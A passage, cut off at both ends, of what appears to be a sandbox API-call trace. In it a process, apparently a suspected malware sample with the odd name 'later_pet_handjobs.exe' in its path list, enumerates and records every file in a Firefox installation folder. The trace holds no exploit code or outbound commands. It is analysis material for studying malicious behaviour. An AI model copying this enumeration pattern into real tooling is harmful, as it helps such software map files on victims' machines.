(x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0029.965] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.965] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0029.965] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.965] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0029.965] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned 57 [0029.965] lstrcpyW (in: lpString1=0x464098, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0029.965] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.965] lstrcmpW (lpString1="defaults", lpString2=".") returned 1 [0029.965] lstrcmpW (lpString1="defaults", lpString2="..") returned 1 [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.965] lstrlenW (lpString="defaults") returned 8 [0029.965] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="defaults" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0029.965] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\" [0029.965] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0029.965] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*" [0029.965] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.966] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.966] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.966] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.966] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.966] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.966] lstrcmpW (lpString1="pref", lpString2=".") returned 1 [0029.966] lstrcmpW (lpString1="pref", lpString2="..") returned 1 [0029.966] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0029.966] lstrlenW (lpString="pref") returned 4 [0029.966] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="pref" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" [0029.966] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.966] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.966] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.966] lstrcmpW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0029.966] lstrcmpW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0029.966] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.966] lstrlenW (lpString="dependentlibs.list") returned 18 [0029.966] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0029.966] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned 57 [0029.966] lstrcpyW (in: lpString1=0x464118, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0029.966] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.966] lstrcmpW (lpString1="dictionaries", lpString2=".") returned 1 [0029.966] lstrcmpW (lpString1="dictionaries", lpString2="..") returned 1 [0029.966] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.966] lstrlenW (lpString="dictionaries") returned 12 [0029.966] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dictionaries" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0029.966] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\" [0029.966] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0029.966] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*" [0029.966] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.966] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.966] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.966] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.966] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.966] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.966] lstrcmpW (lpString1="en-US.aff", lpString2=".") returned 1 [0029.967] lstrcmpW (lpString1="en-US.aff", lpString2="..") returned 1 [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0029.967] lstrlenW (lpString="en-US.aff") returned 9 [0029.967] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned 61 [0029.967] lstrcpyW (in: lpString1=0x462028, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0029.967] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.967] lstrcmpW (lpString1="en-US.dic", lpString2=".") returned 1 [0029.967] lstrcmpW (lpString1="en-US.dic", lpString2="..") returned 1 [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0029.967] lstrlenW (lpString="en-US.dic") returned 9 [0029.967] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned 61 [0029.967] lstrcpyW (in: lpString1=0x4620b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0029.967] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.967] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.967] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.967] lstrcmpW (lpString1="firefox.exe", lpString2=".") returned 1 [0029.967] lstrcmpW (lpString1="firefox.exe", lpString2="..") returned 1 [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.967] lstrlenW (lpString="firefox.exe") returned 11 [0029.967] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0029.967] lstrcpyW (in: lpString1=0x464198, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0029.967] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.967] lstrcmpW (lpString1="freebl3.chk", lpString2=".") returned 1 [0029.967] lstrcmpW (lpString1="freebl3.chk", lpString2="..") returned 1 [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.967] lstrlenW (lpString="freebl3.chk") returned 11 [0029.967] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned 50 [0029.967] lstrcpyW (in: lpString1=0x464208, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0029.967] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.967] lstrcmpW (lpString1="freebl3.dll", lpString2=".") returned 1 [0029.967] lstrcmpW (lpString1="freebl3.dll", lpString2="..") returned 1 [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.967] lstrlenW (lpString="freebl3.dll") returned 11 [0029.967] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned 50 [0029.967] lstrcpyW (in: lpString1=0x464278, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0029.967] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.967] lstrcmpW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0029.967] lstrcmpW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.967] lstrlenW (lpString="gkmedias.dll") returned 12 [0029.967] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0029.967] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned 51 [0029.967] lstrcpyW (in: lpString1=0x4642e8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0029.967] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.967] lstrcmpW (lpString1="install.log", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="install.log", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="install.log") returned 11 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned 50 [0029.968] lstrcpyW (in: lpString1=0x464358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0029.968] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.968] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned 61 [0029.968] lstrcpyW (in: lpString1=0x462138, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0029.968] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.968] lstrcmpW (lpString1="libEGL.dll", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="libEGL.dll", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="libEGL.dll") returned 10 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned 49 [0029.968] lstrcpyW (in: lpString1=0x4643c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0029.968] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.968] lstrcmpW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="libGLESv2.dll") returned 13 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned 52 [0029.968] lstrcpyW (in: lpString1=0x4609c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0029.968] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.968] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned 61 [0029.968] lstrcpyW (in: lpString1=0x4621c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0029.968] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.968] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned 71 [0029.968] lstrcpyW (in: lpString1=0x464438, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0029.968] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.968] lstrcmpW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0029.968] lstrcmpW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0029.968] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.968] lstrlenW (lpString="mozalloc.dll") returned 12 [0029.968] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned 51 [0029.969] lstrcpyW (in: lpString1=0x4644d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0029.969] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.969] lstrcmpW (lpString1="mozglue.dll", lpString2=".") returned 1 [0029.969] lstrcmpW (lpString1="mozglue.dll", lpString2="..") returned 1 [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.969] lstrlenW (lpString="mozglue.dll") returned 11 [0029.969] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 50 [0029.969] lstrcpyW (in: lpString1=0x464540, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0029.969] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.969] lstrcmpW (lpString1="mozjs.dll", lpString2=".") returned 1 [0029.969] lstrcmpW (lpString1="mozjs.dll", lpString2="..") returned 1 [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.969] lstrlenW (lpString="mozjs.dll") returned 9 [0029.969] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned 48 [0029.969] lstrcpyW (in: lpString1=0x4645c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0029.969] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.969] lstrcmpW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0029.969] lstrcmpW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.969] lstrlenW (lpString="msvcp100.dll") returned 12 [0029.969] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned 51 [0029.969] lstrcpyW (in: lpString1=0x464638, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0029.969] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.969] lstrcmpW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0029.969] lstrcmpW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.969] lstrlenW (lpString="msvcr100.dll") returned 12 [0029.969] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned 51 [0029.969] lstrcpyW (in: lpString1=0x4646a8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0029.969] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.969] lstrcmpW (lpString1="nss3.dll", lpString2=".") returned 1 [0029.969] lstrcmpW (lpString1="nss3.dll", lpString2="..") returned 1 [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.969] lstrlenW (lpString="nss3.dll") returned 8 [0029.969] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 47 [0029.969] lstrcpyW (in: lpString1=0x4655b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0029.969] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.969] lstrcmpW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0029.969] lstrcmpW (lpString1="nssckbi.dll", lpString2="..") returned 1 [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.969] lstrlenW (lpString="nssckbi.dll") returned 11 [0029.969] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0029.969] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned 50 [0029.970] lstrcpyW (in: lpString1=0x464718, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0029.970] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.970] lstrcmpW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0029.970] lstrcmpW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0029.970] lstrlenW (lpString="nssdbm3.chk") returned 11 [0029.970] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0029.970] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned 50 [0029.970] lstrcpyW (in: lpString1=0x464788, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla 